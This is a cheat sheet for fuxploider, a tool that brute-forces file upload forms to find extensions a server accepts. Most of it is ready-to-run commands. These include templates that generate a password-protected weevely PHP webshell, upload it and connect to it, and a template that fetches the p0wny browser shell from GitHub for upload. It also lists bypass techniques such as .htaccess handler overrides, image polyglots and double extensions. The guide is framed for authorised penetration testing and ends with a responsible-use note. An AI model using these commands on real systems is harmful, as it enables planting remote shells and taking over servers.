fuxploider Cheat Sheet: Every Flag I Actually Use

fuxploider is a focused tool: it fuzzes a file upload form until it finds an extension the server accepts, then optionally uploads a real payload. The flag surface is small, and the knobs that matter (true/false regex, legitimate-extension list, template payload, cookies) are easy to misuse. This is the field reference for the flags I actually reach for, grouped by what I am trying to do.

Project status. fuxploider's last tagged release was v1.0 in 2018; upstream activity has been thin since. The CLI surface below is the one the current master branch ships, but new file-upload bypass classes (Nginx try_files quirks, IIS semicolon-truncation variants, modern polyglots) are not tracked by the tool. Treat it as a fast first-pass scanner against the well-known bypasses, then move to manual work for the long tail.

If you are new to the tool, the fuxploider tutorial walking through an attack against a vulnerable app is the right next stop. For the underlying classes of bug, the file upload vulnerabilities deep dive covers the taxonomy. If you are comparing options, the best file upload tools list for 2026 covers the alternatives.

Quick reference

How fuxploider actually decides whether an upload worked

fuxploider does not look at the HTTP status code. It posts the multipart body, reads the response, and runs the regex you gave it. If --not-regex matches the response body, the attempt is treated as a rejection. If --true-regex matches, the attempt is treated as a success. Get the regex wrong and the entire run is meaningless. Two practical rules:

1. Read the rejection page in a browser before you run fuxploider. Copy the literal phrase the server prints when a bad file is rejected ("File type not allowed", "Sorry, only images", whatever it is). That phrase is your --not-regex. Anchor it tightly enough that a generic 500 page does not also match.
2. Prefer --true-regex when the success page contains a stable marker (the saved filename, a "view your upload" link). Successes are less ambiguous than failures on apps that surface a dozen different validation errors.

Workflow templates

Starting points I keep around and adapt. Set the values once and every example reads from them.

First pass against an unauthenticated upload page. Just a URL and a rejection regex. Good for a sanity check before you bother with cookies or custom payloads:

python3 fuxploider.py -u ':target_url' --not-regex ':not_regex' :verbosity -T :threads

Authenticated upload, behind a session cookie. Grab the cookie from your browser DevTools first:

python3 fuxploider.py -u ':target_url' \
         --cookies 'session=PASTE_SESSION_HERE; PHPSESSID=PASTE_PHPSESSID_HERE' \
         --not-regex ':not_regex' :verbosity -T :threads

Narrow the matrix to PHP-family extensions. When you already know which extensions the server's allowlist accepts (from a 404 inspection or a previous probe), seed -l with the legitimate set and let fuxploider iterate from there:

python3 fuxploider.py -u ':target_url' \
         -l 'php,phtml,phar,php5,php7' \
         --not-regex ':not_regex' :verbosity -T :threads

Upload page with more than one form, plus a CSRF token in a hidden field. Use manual form-detection, point --input-name and --form-action at the right form, and pass the token via -d:

python3 fuxploider.py -u ':target_url' \
         -m --input-name 'file' --form-action '/upload' \
         -d 'csrf_token=PASTE_TOKEN_HERE' \
         --cookies 'session=PASTE_SESSION_HERE' \
         --not-regex ':not_regex' :verbosity -T :threads

Route through Burp to inspect every multipart body fuxploider builds. Run Burp on the default 127.0.0.1:8080, drop the proxy, watch the requests stream past:

python3 fuxploider.py -u ':target_url' \
         --proxy '127.0.0.1:8080' \
         --not-regex ':not_regex' :verbosity -T 1

Custom payload, ready to drop a webshell once an extension passes. Generate the shell first, then point -t at it:

weevely generate hunter2 ./payloads/shell.php
python3 fuxploider.py -u 'https://target.example/upload.php' \
           -t ./payloads/shell.php \
           -l 'php,phtml,phar' \
           --not-regex 'not allowed|invalid'

Once fuxploider reports a working combination and the file is on disk, connect:

weevely http://target.example/uploads/shell.php hunter2

If you would rather use a browser-resident shell, p0wny is the one-file option. Drop it as the template, visit the uploaded URL, type into the page:

curl -fsSL https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -o ./payloads/p0wny.php
python3 fuxploider.py -u 'https://target.example/upload.php' \
           -t ./payloads/p0wny.php \
           -l 'php,phtml,phar' \
           --not-regex 'not allowed|invalid'

What fuxploider does not do

fuxploider is fast at sweeping the extension matrix. It does not implement every parser-level bypass that ends up working in real engagements. Worth knowing:

• Apache .phP (and other case-flip) parsing quirks. On older mod_php installs, Apache treats .phP, .Php, and uncommon aliases like .phtm as PHP because the handler is registered case-insensitively. The full case-flip catalogue is in the file upload extension bypass guide; seed -l with the variants when you suspect them.
• .htaccess override uploads. If the target writes uploads to a directory where .htaccess is honoured, uploading a custom .htaccess that adds a handler for an innocuous extension (AddType application/x-httpd-php .jpg) turns every previously-allowed JPEG into PHP. fuxploider does not chain a .htaccess write with a subsequent payload upload.
• Image polyglots. A JPEG with PHP appended after the image data passes both magic-byte and naive MIME checks, and executes if the server interprets the extension as PHP. fuxploider lets you upload polyglots if you craft them yourself and pass them via -t, but it does not generate them.
• Content-Type spoofing per multipart part. fuxploider does not expose a flag to set arbitrary Content-Type values per uploaded file; the multipart body uses the type inferred from the template file. The MIME spoofing bypass guide covers the layered bypasses; develop those in Burp Repeater rather than fuxploider.
• Double-extension nuances on Nginx and IIS. Apache parses shell.php.jpg as PHP only with specific config. Nginx with try_files parses very differently. IIS has its own semicolon-truncation history (shell.asp;.jpg). The double-extension upload bypass guide has the per-server matrix.

If a fuxploider run comes up empty, the next move is rarely "more threads". It is reading the rejection page carefully, then reaching for one of the bypass classes above.

Flags I almost never reach for

• Raising -T past 4 against any production-adjacent target. The speed gain on a small extension list is not worth the lost request ordering when the target has a rate limiter or a stateful WAF.
• --random-user-agent once I have already identified a UA the target accepts. The randomisation often pulls a UA that the WAF flags more aggressively than a fixed modern browser string.

A note on responsible use

Every flag above is dual use. The same upload that drops a benign GIF on a CTF lab is the one that drops a webshell on a production app. Use fuxploider against systems you own or are explicitly authorised to test. See the legal framing in the file upload vulnerabilities deep dive.